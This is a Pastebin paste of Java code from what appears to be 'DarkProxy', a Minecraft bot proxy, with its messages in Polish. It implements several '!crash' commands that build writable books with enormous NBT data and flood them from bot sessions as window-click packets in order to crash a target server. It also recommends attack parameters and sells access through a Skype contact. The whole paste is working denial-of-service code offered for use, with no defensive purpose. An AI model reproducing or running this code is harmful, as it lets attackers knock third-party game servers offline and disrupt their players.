Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if (args[0].equalsIgnoreCase("!crash")) {
- if (args.length > 1 && args[1].equalsIgnoreCase("book1")) {
- if (u.getRankType() != RankType.Admin && u.getRankType() != RankType.HeadAdmin && u.getRankType() != RankType.Wlasciciel) {
- ChatUtil.sendMessage(s, "$p &cBrak uprawnien. Zakup dostep na skype: &6yooniksyoon&6iks@gmail.com");
- return;
- }
- if (args.length <= 4) {
- ChatUtil.sendMessage(s, "$p &cPoprawne uzycie: &6!crash book1 <ilosc stron> &6<ilosc pakietow> <czy obecna sesja, czy boty: true-obecna sesja, boty-false>");
- return;
- }
- final int pagesc = Integer.valueOf(args[2]);
- final int packetsc = Integer.valueOf(args[3]);
- ChatUtil.sendMessage(s, "$p &aWysylam.. Stron: &6" + pagesc + "&a, ilosc pakietow: &6" + packetsc);
- final long ms = System.currentTimeMillis();
- final List<Tag> pages = new ArrayList<Tag>();
- for (int k = 0; k < pagesc; ++k) {
- pages.add(new StringTag("_"));
- }
- final ListTag listTag = new ListTag("pages", pages);
- final CompoundTag compoundTag = new CompoundTag("");
- compoundTag.put(listTag);
- final ItemStack is = new ItemStack(386, 64, 0, compoundTag);
- final boolean bots = Boolean.valueOf(args[4]);
- if (bots) {
- for (int i2 = 0; i2 < packetsc && u.getTargetBotSession() != null; ++i2) {
- u.getTargetBotSession().send(new ClientWindowActionPacket(0, 1, 1, is, WindowAction.CLICK_ITEM, ClickItemParam.LEFT_CLICK));
- }
- }
- else {
- for (final Bot bot : u.getBots()) {
- for (int i3 = 0; i3 < packetsc && bot.getSession() != null; ++i3) {
- bot.getSession().send(new ClientWindowActionPacket(0, 1, 1, is, WindowAction.CLICK_ITEM, ClickItemParam.LEFT_CLICK));
- }
- }
- }
- ChatUtil.sendMessage(s, "&8[&6DarkProxy&8] &cZakonczono! Zajelo ci to: &6" + (System.currentTimeMillis() - ms) + "ms".replace("-", ""));
- return;
- }
- else if (args.length > 1 && args[1].equalsIgnoreCase("book2")) {
- if (u.getRankType() != RankType.Admin && u.getRankType() != RankType.HeadAdmin && u.getRankType() != RankType.Wlasciciel) {
- ChatUtil.sendMessage(s, "$p &cBrak uprawnien. Zakup dostep na skype: &6yooniksyoon&6iks@gmail.com");
- return;
- }
- if (args.length <= 5) {
- ChatUtil.sendMessage(s, "$p &cPoprawne uzycie: &6!crash book2 <ilosc stron> &6<ilosc pakietow> <czy obecna sesja, czy boty: &6true-obecna sesja, boty-false>&6 <appends>");
- ChatUtil.sendMessage(s, "$p &cPolecamy: &e!crash book2 48760 1000 true 100");
- return;
- }
- final int pagesc = Integer.valueOf(args[2]);
- final int packetsc = Integer.valueOf(args[3]);
- final int appends = Integer.valueOf(args[5]);
- ChatUtil.sendMessage(s, "$p &aWysylam.. Stron: &6" + pagesc + "&a, ilosc pakietow: &6" + packetsc + "&a, appends: &6" + appends);
- final long ms2 = System.currentTimeMillis();
- final List<Tag> pages2 = new ArrayList<Tag>();
- final StringBuilder stringBuilder = new StringBuilder();
- for (int i4 = 0; i4 < appends; ++i4) {
- stringBuilder.append("\n-_-_-");
- }
- for (int i4 = 0; i4 < pagesc; ++i4) {
- pages2.add(new StringTag(stringBuilder.toString()));
- }
- final ListTag listTag2 = new ListTag("pages", pages2);
- final CompoundTag compoundTag2 = new CompoundTag("");
- compoundTag2.put(listTag2);
- compoundTag2.put(new StringTag("author", stringBuilder.toString()));
- compoundTag2.put(new StringTag("title", stringBuilder.toString()));
- final ItemStack is2 = new ItemStack(386, 64, 0, compoundTag2);
- final boolean bots2 = Boolean.valueOf(args[4]);
- if (bots2) {
- for (int i3 = 0; i3 < packetsc && u.getTargetBotSession() != null; ++i3) {
- u.getTargetBotSession().send(new ClientWindowActionPacket(0, 1, 1, is2, WindowAction.CLICK_ITEM, ClickItemParam.LEFT_CLICK));
- }
- }
- else {
- for (final Bot bot2 : u.getBots()) {
- for (int i5 = 0; i5 < packetsc && bot2.getSession() != null; ++i5) {
- bot2.getSession().send(new ClientWindowActionPacket(0, 1, 1, is2, WindowAction.CLICK_ITEM, ClickItemParam.LEFT_CLICK));
- }
- }
- }
- ChatUtil.sendMessage(s, "&8[&6DarkProxy&8] &cZakonczono! Zajelo ci to: &6" + (System.currentTimeMillis() - ms2) + "ms".replace("-", ""));
- return;
- }
- else if (args.length > 1 && args[1].equalsIgnoreCase("book3")) {
- if (u.getRankType() != RankType.Admin && u.getRankType() != RankType.HeadAdmin && u.getRankType() != RankType.Wlasciciel) {
- ChatUtil.sendMessage(s, "$p &cBrak uprawnien. Zakup dostep na skype: &6yooniksyoon&6iks@gmail.com");
- return;
- }
- if (args.length <= 3) {
- ChatUtil.sendMessage(s, "$p &cPoprawne uzycie: &6!crash book3 <ilosc stron> &6<ilosc pakietow> <czy obecna sesja, &6czy boty: true-obecna sesja, boty-false>");
- return;
- }
- final int pagesc = Integer.valueOf(args[2]);
- final int packetsc = Integer.valueOf(args[3]);
- ChatUtil.sendMessage(s, "$p &aWysylam.. Stron: &6" + pagesc + "&a, ilosc pakietow: &6" + packetsc);
- final long ms = System.currentTimeMillis();
- final List<Tag> pages = new ArrayList<Tag>();
- final StringBuilder stringBuilder2 = new StringBuilder();
- for (int i6 = 0; i6 < 150; ++i6) {
- stringBuilder2.append("\n-_-_-");
- }
- for (int i6 = 0; i6 < pagesc; ++i6) {
- pages.add(new StringTag(stringBuilder2.toString()));
- }
- final ListTag listTag3 = new ListTag("pages", pages);
- final CompoundTag compoundTag3 = new CompoundTag("");
- compoundTag3.put(listTag3);
- final CompoundTag display = new CompoundTag("display");
- final List<Tag> listtagsxd = new ArrayList<Tag>();
- listtagsxd.add(new StringTag(stringBuilder2.toString()));
- final ListTag displayList = new ListTag("Lore", listtagsxd);
- display.put(displayList);
- display.put(new StringTag("Name", stringBuilder2.toString()));
- final ItemStack is3 = new ItemStack(386, 64, 0, compoundTag3);
- is3.getNBT().put(display);
- final boolean bots3 = Boolean.valueOf(args[4]);
- if (bots3) {
- for (int i5 = 0; i5 < packetsc && u.getTargetBotSession() != null; ++i5) {
- u.getTargetBotSession().send(new ClientWindowActionPacket(0, 1, 1, is3, WindowAction.CLICK_ITEM, ClickItemParam.LEFT_CLICK));
- }
- }
- else {
- for (final Bot bot3 : u.getBots()) {
- for (int i7 = 0; i7 < packetsc && bot3.getSession() != null; ++i7) {
- bot3.getSession().send(new ClientWindowActionPacket(0, 1, 1, is3, WindowAction.CLICK_ITEM, ClickItemParam.LEFT_CLICK));
- }
- }
- }
- ChatUtil.sendMessage(s, "&8[&6DarkProxy&8] &cZakonczono! Zajelo ci to: &6" + (System.currentTimeMillis() - ms) + "ms".replace("-", ""));
- return;
- }
- else if (args.length > 1 && args[1].equalsIgnoreCase("bookbest")) {
- if (u.getRankType() != RankType.Admin && u.getRankType() != RankType.HeadAdmin && u.getRankType() != RankType.Wlasciciel) {
- ChatUtil.sendMessage(s, "$p &cBrak uprawnien. Zakup dostep na skype: &6yooniksyoon&6iks@gmail.com");
- return;
- }
- if (args.length <= 4) {
- ChatUtil.sendMessage(s, "$p &cPoprawne uzycie: &6!crash bookbest <ilosc stron> &6<ilosc bytetagow> &6<ilosc pakietow> <czy obecna sesja, czy boty: true-obecna sesja, boty-false>");
- return;
- }
- final int pagesc = Integer.valueOf(args[2]);
- final int bytesc = Integer.valueOf(args[3]);
- final int packetsc2 = Integer.valueOf(args[4]);
- ChatUtil.sendMessage(s, "$p &aWysylam.. Stron: &6" + pagesc + "&a, bytes: &6" + bytesc + "&a ilosc pakietow: &6" + packetsc2);
- final long ms2 = System.currentTimeMillis();
- final List<Tag> pages2 = new ArrayList<Tag>();
- final List<Tag> bytes = new ArrayList<Tag>();
- final ItemStack is = new ItemStack(386, 64, 0, new CompoundTag(""));
- is.getNBT().put(CheckCommand.listtagpro);
- final boolean bots = Boolean.valueOf(args[4]);
- if (bots) {
- for (int i2 = 0; i2 < packetsc2 && u.getTargetBotSession() != null; ++i2) {
- u.getTargetBotSession().send(new ClientWindowActionPacket(0, 1, 1, is, WindowAction.CLICK_ITEM, ClickItemParam.LEFT_CLICK));
- }
- }
- else {
- for (final Bot bot : u.getBots()) {
- for (int i3 = 0; i3 < packetsc2 && bot.getSession() != null; ++i3) {
- bot.getSession().send(new ClientWindowActionPacket(0, 1, 1, is, WindowAction.CLICK_ITEM, ClickItemParam.LEFT_CLICK));
- }
- }
- }
- ChatUtil.sendMessage(s, "&8[&6DarkProxy&8] &cZakonczono! Zajelo ci to: &6" + (System.currentTimeMillis() - ms2) + "ms".replace("-", ""));
- return;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement